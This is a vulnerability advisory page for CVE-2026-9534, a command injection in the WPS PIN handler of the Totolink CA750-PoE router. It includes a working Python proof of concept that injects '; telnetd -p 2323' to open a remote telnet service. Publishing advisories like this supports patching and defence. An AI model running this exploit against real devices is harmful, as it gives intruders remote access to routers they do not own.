Security Vulnerability Report
中文
CVE-2026-9534 CVSS 6.3 MEDIUM

CVE-2026-9534

Published: 2026-05-26 07:16:20
Last Modified: 2026-05-26 07:16:20

Description

A flaw has been found in Totolink CA750-PoE 6.2c.510. This affects the function setWiFiWpsConfig of the file /cgi-bin/cstecgi.cgi of the component Setting Handler. Executing a manipulation of the argument PIN can lead to os command injection. It is possible to launch the attack remotely. The exploit has been published and may be used.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Totolink CA750-PoE 6.2c.510

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # Payload to inject command (e.g., telnetd enable or simple ping) # Using semicolon to bypass original command logic injected_cmd = "; telnetd -p 2323" # Construct data payload based on vulnerable function setWiFiWpsConfig payload_data = { "function": "setWiFiWpsConfig", "PIN": injected_cmd } headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-9534-Scanner" } try: # Send the malicious request response = requests.post(url, json=payload_data, headers=headers, timeout=10) if response.status_code == 200: print("[+] Payload sent successfully.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
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